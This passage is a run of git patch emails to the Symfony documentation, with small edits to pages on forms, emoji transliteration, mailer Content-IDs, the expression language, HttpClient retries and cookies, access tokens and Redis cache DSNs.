a/reference/forms/types/time.rst +++ b/reference/forms/types/time.rst @@ -69,14 +69,14 @@ If your widget option is set to ``choice``, then this field will be represented as a series of ``select`` boxes. When the placeholder value is a string, it will be used as the **blank value** of all select boxes:: - $builder->add('startTime', 'time', [ + $builder->add('startTime', TimeType::class, [ 'placeholder' => 'Select a value', ]); Alternatively, you can use an array that configures different placeholder values for the hour, minute and second fields:: - $builder->add('startTime', 'time', [ + $builder->add('startTime', TimeType::class, [ 'placeholder' => [ 'hour' => 'Hour', 'minute' => 'Minute', 'second' => 'Second', ], From 8be7bb3f34064492907af7d1de2eb5b3f27d75de Mon Sep 17 00:00:00 2001 From: Javier Eguiluz <javier.eguiluz@gmail.com> Date: Thu, 30 May 2024 15:29:28 +0200 Subject: [PATCH 239/615] [String] Update the emoji transliteration docs --- string.rst | 40 ++++++++++++++++++++++++---------------- 1 file changed, 24 insertions(+), 16 deletions(-) diff --git a/string.rst b/string.rst index 9253b89478e..01752fff9c9 100644 --- a/string.rst +++ b/string.rst @@ -558,15 +558,20 @@ textual representation in all languages based on the `Unicode CLDR dataset`_:: $transliterator->transliterate('Menus with 🍕 or 🍝'); // => 'Menus with піца or спагеті' +Transliterating Emoji Text Short Codes +...................................... -The ``EmojiTransliterator`` also provides special locales that convert emojis to -short codes and vice versa in specific platforms, such as GitHub, Gitlab and Slack. -All theses platform are also combined in special locale ``text``. +Services like GitHub and Slack allows to include emojis in your messages using +text short codes (e.g. you can add the ``:+1:`` code to render the 👍 emoji). -GitHub Emoji Transliteration -............................ +Symfony also provides a feature to transliterate emojis into short codes and vice +versa. The short codes are slightly different on each service, so you must pass +the name of the service as an argument when creating the transliterator: -Convert GitHub emojis to short codes with the ``emoji-github`` locale:: +GitHub Emoji Short Codes Transliteration +######################################## + +Convert emojis to GitHub short codes with the ``emoji-github`` locale:: $transliterator = EmojiTransliterator::create('emoji-github'); $transliterator->transliterate('Teenage 🐢 really love 🍕'); @@ -578,10 +583,10 @@ Convert GitHub short codes to emojis with the ``github-emoji`` locale:: $transliterator->transliterate('Teenage :turtle: really love :pizza:'); // => 'Teenage 🐢 really love 🍕' -Gitlab Emoji Transliteration -............................ +Gitlab Emoji Short Codes Transliteration +######################################## -Convert Gitlab emojis to short codes with the ``emoji-gitlab`` locale:: +Convert emojis to Gitlab short codes with the ``emoji-gitlab`` locale:: $transliterator = EmojiTransliterator::create('emoji-gitlab'); $transliterator->transliterate('Breakfast with 🥝 or 🥛'); @@ -593,10 +598,10 @@ Convert Gitlab short codes to emojis with the ``gitlab-emoji`` locale:: $transliterator->transliterate('Breakfast with :kiwi: or :milk:'); // => 'Breakfast with 🥝 or 🥛' -Slack Emoji Transliteration -........................... +Slack Emoji Short Codes Transliteration +####################################### -Convert Slack emojis to short codes with the ``emoji-slack`` locale:: +Convert emojis to Slack short codes with the ``emoji-slack`` locale:: $transliterator = EmojiTransliterator::create('emoji-slack'); $transliterator->transliterate('Menus with 🥗 or 🧆'); @@ -608,19 +613,22 @@ Convert Slack short codes to emojis with the ``slack-emoji`` locale:: $transliterator->transliterate('Menus with :green_salad: or :falafel:'); // => 'Menus with 🥗 or 🧆' -Text Emoji Transliteration -.......................... +Universal Emoji Short Codes Transliteration +########################################### -If you don't know where short codes come from, you can use the ``text-emoji`` locale. -This locale will convert Github, Gitlab and Slack short codes to emojis:: +If you don't know which service was used to generate the short codes, you can use +the ``text-emoji`` locale, which combines all codes from all services:: $transliterator = EmojiTransliterator::create('text-emoji'); + // Github short codes $transliterator->transliterate('Breakfast with :kiwi-fruit: or :milk-glass:'); // Gitlab short codes $transliterator->transliterate('Breakfast with :kiwi: or :milk:'); // Slack short codes $transliterator->transliterate('Breakfast with :kiwifruit: or :glass-of-milk:'); + + // all the above examples produce the same result: // => 'Breakfast with 🥝 or 🥛' You can convert emojis to short codes with the ``emoji-text`` locale:: From ec6b103f4f078163a09e37bfd21a3c76c59f94b2 Mon Sep 17 00:00:00 2001 From: Michael Hirschler <michael@hirschler.me> Date: Wed, 5 Jun 2024 07:40:51 +0200 Subject: [PATCH 240/615] fixes typo --- notifier.rst | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/notifier.rst b/notifier.rst index af134f4d349..deafa307719 100644 --- a/notifier.rst +++ b/notifier.rst @@ -944,7 +944,7 @@ The default behavior for browser channel notifications is to add a However, you might prefer to map the importance level of the notification to the type of flash message, so you can tweak their style. -you can do that by overriding the default ``notifier.flash_message_importance_mapper`` +You can do that by overriding the default ``notifier.flash_message_importance_mapper`` service with your own implementation of :class:`Symfony\\Component\\Notifier\\FlashMessage\\FlashMessageImportanceMapperInterface` where you can provide your own "importance" to "alert level" mapping. From fd6262225b0e14b3b35690e24b94f14f56a47e83 Mon Sep 17 00:00:00 2001 From: seb-jean <sebastien.jean76@gmail.com> Date: Thu, 6 Jun 2024 16:36:12 +0200 Subject: [PATCH 241/615] Update csrf.rst --- security/csrf.rst | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/security/csrf.rst b/security/csrf.rst index 77aad6bf090..11c7b2fc267 100644 --- a/security/csrf.rst +++ b/security/csrf.rst @@ -233,7 +233,7 @@ object evaluated to the id:: use Symfony\Component\Security\Http\Attribute\IsCsrfTokenValid; // ... - #[IsCsrfTokenValid(new Expression('"delete-item-" ~ args["post"].id'), tokenKey: 'token')] + #[IsCsrfTokenValid(new Expression('"delete-item-" ~ args["post"].getId()'), tokenKey: 'token')] public function delete(Post $post): Response { // ... do something, like deleting an object From 1f4115ea993cf1e31f11dc96de64b0ec3da85c47 Mon Sep 17 00:00:00 2001 From: Christian Flothmann <christian.flothmann@qossmic.com> Date: Fri, 7 Jun 2024 08:53:11 +0200 Subject: [PATCH 242/615] fix markup --- components/serializer.rst | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/components/serializer.rst b/components/serializer.rst index 1c86a111084..6a5790fd48f 100644 --- a/components/serializer.rst +++ b/components/serializer.rst @@ -1209,7 +1209,7 @@ Option Description .. versionadded:: 7.1 - The `cdata_wrapping_pattern` option was introduced in Symfony 7.1. + The ``cdata_wrapping_pattern`` option was introduced in Symfony 7.1. Example with custom ``context``:: From 468a9acf34c555cd36979e3be3ea0d010854717b Mon Sep 17 00:00:00 2001 From: Andrej Rypo <xrypak@gmail.com> Date: Fri, 7 Jun 2024 09:36:13 +0200 Subject: [PATCH 243/615] [Mailer] Fixed and clarified custom Content-ID feature documentation --- mailer.rst | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/mailer.rst b/mailer.rst index 02c09295319..026b19dcae4 100644 --- a/mailer.rst +++ b/mailer.rst @@ -658,16 +658,18 @@ images inside the HTML contents:: ->html('... <div background="cid:footer-signature"> ... </div> ...') ; +The actual Content-ID value present in the e-mail source will be randomly generated by Symfony. + You can also use the :method:`DataPart::setContentId() <Symfony\\Component\\Mime\\Part\\DataPart::setContentId>` method to define a custom Content-ID for the image and use it as its ``cid`` reference:: $part = new DataPart(new File('/path/to/images/signature.gif')); - $part->setContentId('footer-signature'); + $part->setContentId('footer-signature@my-app'); $email = (new Email()) // ... ->addPart($part->asInline()) - ->html('... <img src="cid:footer-signature"> ...') + ->html('... <img src="cid:footer-signature@my-app"> ...') ; .. versionadded:: 6.1 From f6b21f47c48f29dd6c639008eded2116b9649440 Mon Sep 17 00:00:00 2001 From: homersimpsons <guillaume.alabre@gmail.com> Date: Sat, 8 Jun 2024 12:27:41 +0000 Subject: [PATCH 244/615] :art: Fix precedence table rendering Use rst grid to get the correct layout. `list-table` directive is not supported. --- reference/formats/expression_language.rst | 52 ++++++++++++++--------- 1 file changed, 32 insertions(+), 20 deletions(-) diff --git a/reference/formats/expression_language.rst b/reference/formats/expression_language.rst index 1179d78a43c..7918d96dc60 100644 --- a/reference/formats/expression_language.rst +++ b/reference/formats/expression_language.rst @@ -436,26 +436,38 @@ parentheses in your expressions (e.g. ``(1 + 2) * 4`` or ``1 + (2 * 4)``. The following table summarizes the operators and their associativity from the **highest to the lowest precedence**: -======================================================= ============= -Operators associativity -======================================================= ============= -``-``, ``+`` (unary operators that add the number sign) none -``**`` right -``*``, ``/``, ``%`` left -``not``, ``!`` none -``~`` left -``+``, ``-`` left -``..`` left -``==``, ``===``, ``!=``, ``!==``, \ left -``<``, ``>``, ``>=``, ``<=``, \ -``not in``, ``in``, ``contains``, \ -``starts with``, ``ends with``, ``matches`` -``&`` left -``^`` left -``|`` left -``and``, ``&&`` left -``or``, ``||`` left -======================================================= ============= ++----------------------------------------------------------+---------------+ +| Operators | Associativity | ++==========================================================+===============+ +| ``-`` , ``+`` (unary operators that add the number sign) | none | ++----------------------------------------------------------+---------------+ +| ``**`` | right | ++----------------------------------------------------------+---------------+ +| ``*``, ``/``, ``%`` | left | ++----------------------------------------------------------+---------------+ +| ``not``, ``!`` | none | ++----------------------------------------------------------+---------------+ +| ``~`` | left | ++----------------------------------------------------------+---------------+ +| ``+``, ``-`` | left | ++----------------------------------------------------------+---------------+ +| ``..`` | left | ++----------------------------------------------------------+---------------+ +| ``==``, ``===``, ``!=``, ``!==``, | left | +| ``<``, ``>``, ``>=``, ``<=``, | | +| ``not in``, ``in``, ``contains``, | | +| ``starts with``, ``ends with``, ``matches`` | | ++----------------------------------------------------------+---------------+ +| ``&`` | left | ++----------------------------------------------------------+---------------+ +| ``^`` | left | ++----------------------------------------------------------+---------------+ +| ``|`` | left | ++----------------------------------------------------------+---------------+ +| ``and``, ``&&`` | left | ++----------------------------------------------------------+---------------+ +| ``or``, ``||`` | left | ++----------------------------------------------------------+---------------+ Built-in Objects and Variables ------------------------------ From 928e2ced75aec525f2555b43ea6bfcfd7992e010 Mon Sep 17 00:00:00 2001 From: Javier Eguiluz <javier.eguiluz@gmail.com> Date: Mon, 10 Jun 2024 08:42:50 +0200 Subject: [PATCH 245/615] [Mailer] Minor tweaks --- mailer.rst | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/mailer.rst b/mailer.rst index b767a45d562..dca0dde5aad 100644 --- a/mailer.rst +++ b/mailer.rst @@ -667,8 +667,8 @@ file or stream:: Use the ``asInline()`` method to embed the content instead of attaching it. The second optional argument of both methods is the image name ("Content-ID" in -the MIME standard). Its value is an arbitrary string used later to reference the -images inside the HTML contents:: +the MIME standard). Its value is an arbitrary string that must be unique in each +email message and is used later to reference the images inside the HTML contents:: $email = (new Email()) // ... @@ -683,11 +683,11 @@ images inside the HTML contents:: ; The actual Content-ID value present in the e-mail source will be randomly generated by Symfony. - You can also use the :method:`DataPart::setContentId() <Symfony\\Component\\Mime\\Part\\DataPart::setContentId>` method to define a custom Content-ID for the image and use it as its ``cid`` reference:: $part = new DataPart(new File('/path/to/images/signature.gif')); + // according to the spec, the Content-ID value must include at least one '@' character $part->setContentId('footer-signature@my-app'); $email = (new Email()) From 9472a546a4168e35e75fa7f03638059ea8448aad Mon Sep 17 00:00:00 2001 From: Javier Eguiluz <javier.eguiluz@gmail.com> Date: Mon, 10 Jun 2024 08:46:24 +0200 Subject: [PATCH 246/615] Updated the code example --- components/property_access.rst | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/components/property_access.rst b/components/property_access.rst index a51f6034145..78b125cd391 100644 --- a/components/property_access.rst +++ b/components/property_access.rst @@ -207,7 +207,7 @@ The ``getValue()`` method can also use the magic ``__get()`` method:: public function __isset($id): bool { - return array_key_exists($id, $this->children); + return isset($this->children[$id]); } } From 4e2c66de2a9d55be2a2e9174493862e684ce3922 Mon Sep 17 00:00:00 2001 From: svdv22 <svdv@posteo.net> Date: Tue, 11 Jun 2024 16:33:46 +0200 Subject: [PATCH 247/615] Update messenger.rst shouldFlush-method in documentation wasn't updatet --- messenger.rst | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/messenger.rst b/messenger.rst index 8cce1d74266..4c43b195377 100644 --- a/messenger.rst +++ b/messenger.rst @@ -2644,7 +2644,7 @@ provided in order to ease the declaration of these special handlers:: // of the trait to define your own batch size... private function shouldFlush(): bool { - return 100 <= \count($this->jobs); + return $this->getBatchSize() <= \count($this->jobs); } // ... or redefine the `getBatchSize()` method if the default From 191180692ebbbc647b943b0b43db1df8a5dbed73 Mon Sep 17 00:00:00 2001 From: Andrei Karpilin <karpilin@gmail.com> Date: Tue, 11 Jun 2024 14:31:38 +0100 Subject: [PATCH 248/615] Fix indentation in upgrade_major.rst --- setup/upgrade_major.rst | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/setup/upgrade_major.rst b/setup/upgrade_major.rst index f75762604ca..7aa0d90c3b7 100644 --- a/setup/upgrade_major.rst +++ b/setup/upgrade_major.rst @@ -171,8 +171,8 @@ this one. For instance, update it to ``6.0.*`` to upgrade to Symfony 6.0: "extra": { "symfony": { "allow-contrib": false, - - "require": "5.4.*" - + "require": "6.0.*" + - "require": "5.4.*" + + "require": "6.0.*" } } From 535dc3c145ba7b94e6c671c5ceb50f8362801a20 Mon Sep 17 00:00:00 2001 From: Javier Eguiluz <javier.eguiluz@gmail.com> Date: Thu, 13 Jun 2024 15:51:14 +0200 Subject: [PATCH 249/615] Fix a WSL command in the Symfony Server doc --- setup/symfony_server.rst | 10 ++++++++-- 1 file changed, 8 insertions(+), 2 deletions(-) diff --git a/setup/symfony_server.rst b/setup/symfony_server.rst index 424b65cf1b5..5fa3e430b1c 100644 --- a/setup/symfony_server.rst +++ b/setup/symfony_server.rst @@ -111,8 +111,14 @@ words, it does everything for you. If you are doing this in WSL (Windows Subsystem for Linux), the newly created local certificate authority needs to be manually imported in Windows. The file is located in ``wsl`` at ``~/.symfony5/certs/default.p12``. The easiest way to - do so is to run ``explorer.exe \`wslpath -w $HOME/.symfony5/certs\``` from ``wsl`` - and double-click the ``default.p12`` file. + do so is to run the following command from ``wsl``: + + .. code-block:: terminal + + $ explorer.exe `wslpath -w $HOME/.symfony5/certs` + + In the file explorer window that just opened, double-click on the file + called ``default.p12``. Before browsing your local application with HTTPS instead of HTTP, restart its server stopping and starting it again. From eccdbfd6d9174d6eec7b290ac0746d587fdc2d00 Mon Sep 17 00:00:00 2001 From: Javier Eguiluz <javier.eguiluz@gmail.com> Date: Thu, 13 Jun 2024 18:02:21 +0200 Subject: [PATCH 250/615] [Security] Remove an unneeded comment --- security/custom_authenticator.rst | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/security/custom_authenticator.rst b/security/custom_authenticator.rst index 8cc8236e2fb..7fa55093839 100644 --- a/security/custom_authenticator.rst +++ b/security/custom_authenticator.rst @@ -342,7 +342,7 @@ would initialize the passport like this:: $username = $request->getPayload()->get('username'); $csrfToken = $request->getPayload()->get('csrf_token'); - // ... validate no parameter is empty + // ... return new Passport( new UserBadge($username), From e10c0684540e04da3d1b4705433da8b452081d22 Mon Sep 17 00:00:00 2001 From: Antoine Lamirault <lamiraultantoine@gmail.com> Date: Thu, 13 Jun 2024 19:36:02 +0200 Subject: [PATCH 251/615] Add link translation provider --- translation.rst | 31 +++++++++++++++++-------------- 1 file changed, 17 insertions(+), 14 deletions(-) diff --git a/translation.rst b/translation.rst index 412d3aa3c5e..1d43c3b2b1c 100644 --- a/translation.rst +++ b/translation.rst @@ -601,13 +601,13 @@ Installing and Configuring a Third Party Provider Before pushing/pulling translations to a third-party provider, you must install the package that provides integration with that provider: -==================== =========================================================== -Provider Install with -==================== =========================================================== -Crowdin ``composer require symfony/crowdin-translation-provider`` -Loco (localise.biz) ``composer require symfony/loco-translation-provider`` -Lokalise ``composer require symfony/lokalise-translation-provider`` -==================== =========================================================== +====================== =========================================================== +Provider Install with +====================== =========================================================== +`Crowdin`_ ``composer require symfony/crowdin-translation-provider`` +`Loco (localise.biz)`_ ``composer require symfony/loco-translation-provider`` +`Lokalise`_ ``composer require symfony/lokalise-translation-provider`` +====================== =========================================================== Each library includes a :ref:`Symfony Flex recipe <symfony-flex>` that will add a configuration example to your ``.env`` file. For example, suppose you want to @@ -632,13 +632,13 @@ pull translations via Loco. The *only* part you need to change is the This table shows the full list of available DSN formats for each provider: -===================== ============================================================== -Provider DSN -===================== ============================================================== -Crowdin ``crowdin://PROJECT_ID:API_TOKEN@ORGANIZATION_DOMAIN.default`` -Loco (localise.biz) ``loco://API_KEY@default`` -Lokalise ``lokalise://PROJECT_ID:API_KEY@default`` -===================== ============================================================== +====================== ============================================================== +Provider DSN +====================== ============================================================== +`Crowdin`_ ``crowdin://PROJECT_ID:API_TOKEN@ORGANIZATION_DOMAIN.default`` +`Loco (localise.biz)`_ ``loco://API_KEY@default`` +`Lokalise`_ ``lokalise://PROJECT_ID:API_KEY@default`` +====================== ============================================================== To enable a translation provider, customize the DSN in your ``.env`` file and configure the ``providers`` option: @@ -1476,3 +1476,6 @@ Learn more .. _`GitHub Actions`: https://docs.github.com/en/free-pro-team@latest/actions .. _`pseudolocalization`: https://en.wikipedia.org/wiki/Pseudolocalization .. _`Symfony Demo`: https://github.com/symfony/demo +.. _`Crowdin`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Translation/Bridge/Crowdin/README.md +.. _`Loco (localise.biz)`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Translation/Bridge/Loco/README.md +.. _`Lokalise`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Translation/Bridge/Lokalise/README.md From e751fe569cbf9044fb9ff15b80212055edb99491 Mon Sep 17 00:00:00 2001 From: Davi Alexandre <davi@davialexandre.com.br> Date: Fri, 14 Jun 2024 07:40:26 -0300 Subject: [PATCH 252/615] Fix typo in messenger.rst --- messenger.rst | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/messenger.rst b/messenger.rst index 4c43b195377..03e09b8260a 100644 --- a/messenger.rst +++ b/messenger.rst @@ -3424,7 +3424,7 @@ You can also restrict the list to a specific bus by providing its name as an arg Redispatching a Message ----------------------- -It you want to redispatch a message (using the same transport and envelope), create +If you want to redispatch a message (using the same transport and envelope), create a new :class:`Symfony\\Component\\Messenger\\Message\\RedispatchMessage` and dispatch it through your bus. Reusing the same ``SmsNotification`` example shown earlier:: From 9bea798f5c23ffbc17fa78e45aaa9e0bc67342cd Mon Sep 17 00:00:00 2001 From: Andrey Bolonin <andreybolonin@users.noreply.github.com> Date: Sat, 15 Jun 2024 16:17:15 +0300 Subject: [PATCH 253/615] Update access_token.rst --- security/access_token.rst | 1 + 1 file changed, 1 insertion(+) diff --git a/security/access_token.rst b/security/access_token.rst index df02f3da6bc..c798befbd30 100644 --- a/security/access_token.rst +++ b/security/access_token.rst @@ -78,6 +78,7 @@ This handler must implement namespace App\Security; use App\Repository\AccessTokenRepository; + use Symfony\Component\Security\Core\Exception\BadCredentialsException; use Symfony\Component\Security\Http\AccessToken\AccessTokenHandlerInterface; use Symfony\Component\Security\Http\Authenticator\Passport\Badge\UserBadge; From fd7b8eac82104bb10eb8ecc8791d3d7dd75a2b34 Mon Sep 17 00:00:00 2001 From: Javier Eguiluz <javier.eguiluz@gmail.com> Date: Mon, 17 Jun 2024 13:26:52 +0200 Subject: [PATCH 254/615] Add the versionadded directive --- security/access_token.rst | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/security/access_token.rst b/security/access_token.rst index d0ed785ad31..8661a226a73 100644 --- a/security/access_token.rst +++ b/security/access_token.rst @@ -709,6 +709,10 @@ create your own User from the claims, you must Using CAS 2.0 ------------- +.. versionadded:: 7.1 + + The support for CAS token handlers was introduced in Symfony 7.1. + `Central Authentication Service (CAS)`_ is an enterprise multilingual single sign-on solution and identity provider for the web and attempts to be a comprehensive platform for your authentication and authorization needs. @@ -724,7 +728,7 @@ haven't installed it yet, run this command: $ composer require symfony/http-client -You can configure a ``cas`` ``token_handler``: +You can configure a ``cas`` token handler as follows: .. configuration-block:: From 570436375f7d55f4bbb634f4de9452358d55544c Mon Sep 17 00:00:00 2001 From: Javier Eguiluz <javier.eguiluz@gmail.com> Date: Mon, 17 Jun 2024 13:49:09 +0200 Subject: [PATCH 255/615] [HttpClient] Reorganize the docs about the retry_failed option --- reference/configuration/framework.rst | 95 +++++++++++++++++---------- 1 file changed, 60 insertions(+), 35 deletions(-) diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst index ace44982dbd..c053fe3503f 100644 --- a/reference/configuration/framework.rst +++ b/reference/configuration/framework.rst @@ -887,41 +887,6 @@ If you use for example as the type and name of an argument, autowiring will inject the ``my_api.client`` service into your autowired classes. -.. _reference-http-client-retry-failed: - -By enabling the optional ``retry_failed`` configuration, the HTTP client service -will automatically retry failed HTTP requests. - -.. code-block:: yaml - - # config/packages/framework.yaml - framework: - # ... - http_client: - # ... - default_options: - retry_failed: - # retry_strategy: app.custom_strategy - http_codes: - 0: ['GET', 'HEAD'] # retry network errors if request method is GET or HEAD - 429: true # retry all responses with 429 status code - 500: ['GET', 'HEAD'] - max_retries: 2 - delay: 1000 - multiplier: 3 - max_delay: 5000 - jitter: 0.3 - - scoped_clients: - my_api.client: - # ... - retry_failed: - max_retries: 4 - -.. versionadded:: 5.2 - - The ``retry_failed`` option was introduced in Symfony 5.2. - auth_basic .......... @@ -1024,6 +989,8 @@ ciphers A list of the names of the ciphers allowed for the SSL/TLS connections. They can be separated by colons, commas or spaces (e.g. ``'RC4-SHA:TLS13-AES-128-GCM-SHA256'``). +.. _reference-http-client-retry-delay: + delay ..... @@ -1055,6 +1022,8 @@ headers An associative array of the HTTP headers added before making the request. This value must use the format ``['header-name' => 'value0, value1, ...']``. +.. _reference-http-client-retry-http-codes: + http_codes .......... @@ -1074,6 +1043,8 @@ http_version The HTTP version to use, typically ``'1.1'`` or ``'2.0'``. Leave it to ``null`` to let Symfony select the best version automatically. +.. _reference-http-client-retry-jitter: + jitter ...... @@ -1105,6 +1076,8 @@ local_pk The path of a file that contains the `PEM formatted`_ private key of the certificate defined in the ``local_cert`` option. +.. _reference-http-client-retry-max-delay: + max_delay ......... @@ -1143,6 +1116,8 @@ max_redirects The maximum number of redirects to follow. Use ``0`` to not follow any redirection. +.. _reference-http-client-retry-max-retries: + max_retries ........... @@ -1155,6 +1130,8 @@ max_retries The maximum number of retries for failing requests. When the maximum is reached, the client returns the last received response. +.. _reference-http-client-retry-multiplier: + multiplier .......... @@ -1226,6 +1203,54 @@ client and to make your tests easier. The value of this option is an associative array of ``domain => IP address`` (e.g ``['symfony.com' => '46.137.106.254', ...]``). +.. _reference-http-client-retry-failed: + +retry_failed +............ + +**type**: ``array`` + +.. versionadded:: 5.2 + + The ``retry_failed`` option was introduced in Symfony 5.2. + +This option configures the behavior of the HTTP client when some request fails, +including which types of requests to retry and how many times. The behavior is +defined with the following options: + +* :ref:`delay <reference-http-client-retry-delay>` +* :ref:`http_codes <reference-http-client-retry-http-codes>` +* :ref:`jitter <reference-http-client-retry-jitter>` +* :ref:`max_delay <reference-http-client-retry-max-delay>` +* :ref:`max_retries <reference-http-client-retry-max-retries>` +* :ref:`multiplier <reference-http-client-retry-multiplier>` + +.. code-block:: yaml + + # config/packages/framework.yaml + framework: + # ... + http_client: + # ... + default_options: + retry_failed: + # retry_strategy: app.custom_strategy + http_codes: + 0: ['GET', 'HEAD'] # retry network errors if request method is GET or HEAD + 429: true # retry all responses with 429 status code + 500: ['GET', 'HEAD'] + max_retries: 2 + delay: 1000 + multiplier: 3 + max_delay: 5000 + jitter: 0.3 + + scoped_clients: + my_api.client: + # ... + retry_failed: + max_retries: 4 + retry_strategy .............. From 1aa2513b1e88865105b2a9374f3cf93cb6a28173 Mon Sep 17 00:00:00 2001 From: Javier Eguiluz <javier.eguiluz@gmail.com> Date: Mon, 17 Jun 2024 15:32:35 +0200 Subject: [PATCH 256/615] Mention that you need a config/ dir for MicroKernelTrait --- configuration/micro_kernel_trait.rst | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/configuration/micro_kernel_trait.rst b/configuration/micro_kernel_trait.rst index 8b4869fdea1..4d7494e72f8 100644 --- a/configuration/micro_kernel_trait.rst +++ b/configuration/micro_kernel_trait.rst @@ -70,6 +70,12 @@ Next, create an ``index.php`` file that defines the kernel class and runs it:: $response->send(); $kernel->terminate($request, $response); +.. note:: + + In addition to the ``index.php`` file, you'll need to create a directory called + ``config/`` in your project (even if it's empty because you define the configuration + options inside the ``configureContainer()`` method). + That's it! To test it, start the :doc:`Symfony Local Web Server </setup/symfony_server>`: From 0643f16f56ba4e751f0c95f31db23781a615da92 Mon Sep 17 00:00:00 2001 From: Javier Eguiluz <javier.eguiluz@gmail.com> Date: Mon, 17 Jun 2024 10:58:20 +0200 Subject: [PATCH 257/615] [HttpClient] Fix how cookies are defined and sent --- http_client.rst | 13 +++++++++---- 1 file changed, 9 insertions(+), 4 deletions(-) diff --git a/http_client.rst b/http_client.rst index 8a344e552a2..bc950a382e8 100644 --- a/http_client.rst +++ b/http_client.rst @@ -693,17 +693,21 @@ cookies automatically. You can either :ref:`send cookies with the BrowserKit component <component-browserkit-sending-cookies>`, which integrates seamlessly with the HttpClient component, or manually setting -the ``Cookie`` HTTP header as follows:: +`the Cookie HTTP request header`_ as follows:: use Symfony\Component\HttpClient\HttpClient; use Symfony\Component\HttpFoundation\Cookie; $client = HttpClient::create([ 'headers' => [ - 'Cookie' => new Cookie('flavor', 'chocolate', strtotime('+1 day')), + // set one cookie as a name=value pair + 'Cookie' => 'flavor=chocolate', - // you can also pass the cookie contents as a string - 'Cookie' => 'flavor=chocolate; expires=Sat, 11 Feb 2023 12:18:13 GMT; Max-Age=86400; path=/' + // you can set multiple cookies at once separating them with a ; + 'Cookie' => 'flavor=chocolate; size=medium', + + // if needed, encode the cookie value to ensure that it contains valid characters + 'Cookie' => sprintf("%s=%s", 'foo', rawurlencode('...')), ], ]); @@ -2089,3 +2093,4 @@ test it in a real application:: .. _`EventSource`: https://www.w3.org/TR/eventsource/#eventsource .. _`idempotent method`: https://en.wikipedia.org/wiki/Hypertext_Transfer_Protocol#Idempotent_methods .. _`SSRF`: https://portswigger.net/web-security/ssrf +.. _`the Cookie HTTP request header`: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Cookie From 45d0dc9142fc97dfbf7b61890ab2132def47c94d Mon Sep 17 00:00:00 2001 From: Nikita <95922066+moviex1@users.noreply.github.com> Date: Mon, 17 Jun 2024 20:00:17 +0300 Subject: [PATCH 258/615] Update access_token.rst, removed letter --- security/access_token.rst | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/security/access_token.rst b/security/access_token.rst index c798befbd30..18f28e9f9f5 100644 --- a/security/access_token.rst +++ b/security/access_token.rst @@ -99,7 +99,7 @@ This handler must implement // and return a UserBadge object containing the user identifier from the found token // (this is the same identifier used in Security configuration; it can be an email, - // a UUUID, a username, a database ID, etc.) + // a UUID, a username, a database ID, etc.) return new UserBadge($accessToken->getUserId()); } } From a21ac0c8c2c62b5e4a8f9184b704af05303bddd0 Mon Sep 17 00:00:00 2001 From: Andrey Bolonin <andreybolonin@users.noreply.github.com> Date: Mon, 17 Jun 2024 21:01:56 +0300 Subject: [PATCH 259/615] Update serializer.rst --- components/serializer.rst | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/components/serializer.rst b/components/serializer.rst index fedd41cf08b..bbf31afacf8 100644 --- a/components/serializer.rst +++ b/components/serializer.rst @@ -799,7 +799,7 @@ When serializing, you can set a callback to format a specific object property:: // all callback parameters are optional (you can omit the ones you don't use) $dateCallback = function ($innerObject, $outerObject, string $attributeName, ?string $format = null, array $context = []) { - return $innerObject instanceof \DateTime ? $innerObject->format(\DateTime::ISO8601) : ''; + return $innerObject instanceof \DateTime ? $innerObject->format(\DateTime::ATOM) : ''; }; $defaultContext = [ From 88540e63f48324b24c11730e74fe2b720ed19b08 Mon Sep 17 00:00:00 2001 From: Javier Eguiluz <javier.eguiluz@gmail.com> Date: Thu, 13 Jun 2024 16:18:46 +0200 Subject: [PATCH 260/615] [Cache] Mention that user/password are not supported for Redis DSN --- components/cache/adapters/redis_adapter.rst | 31 ++++----------------- 1 file changed, 6 insertions(+), 25 deletions(-) diff --git a/components/cache/adapters/redis_adapter.rst b/components/cache/adapters/redis_adapter.rst index 5512b576f0e..590483a19be 100644 --- a/components/cache/adapters/redis_adapter.rst +++ b/components/cache/adapters/redis_adapter.rst @@ -55,24 +55,18 @@ helper method allows creating and configuring the Redis client class instance us 'redis://localhost' ); -The DSN can specify either an IP/host (and an optional port) or a socket path, as well as a -password and a database index. To enable TLS for connections, the scheme ``redis`` must be -replaced by ``rediss`` (the second ``s`` means "secure"). +The DSN can specify either an IP/host (and an optional port) or a socket path, as +well as a database index. To enable TLS for connections, the scheme ``redis`` must +be replaced by ``rediss`` (the second ``s`` means "secure"). .. note:: - A `Data Source Name (DSN)`_ for this adapter must use either one of the following formats. + A `Data Source Name (DSN)`_ for this adapter must use the following format. .. code-block:: text redis[s]://[pass@][ip|host|socket[:port]][/db-index] - .. code-block:: text - - redis[s]:[[user]:pass@]?[ip|host|socket[:port]][¶ms] - - Values for placeholders ``[user]``, ``[:port]``, ``[/db-index]`` and ``[¶ms]`` are optional. - Below are common examples of valid DSNs showing a combination of available values:: use Symfony\Component\Cache\Adapter\RedisAdapter; @@ -89,11 +83,8 @@ Below are common examples of valid DSNs showing a combination of available value // socket "/var/run/redis.sock" and auth "bad-pass" RedisAdapter::createConnection('redis://bad-pass@/var/run/redis.sock'); - // host "redis1" (docker container) with alternate DSN syntax and selecting database index "3" - RedisAdapter::createConnection('redis:?host[redis1:6379]&dbindex=3'); - - // providing credentials with alternate DSN syntax - RedisAdapter::createConnection('redis:default:verysecurepassword@?host[redis1:6379]&dbindex=3'); + // a single DSN can define multiple servers using the following syntax: + // host[hostname-or-IP:port] (where port is 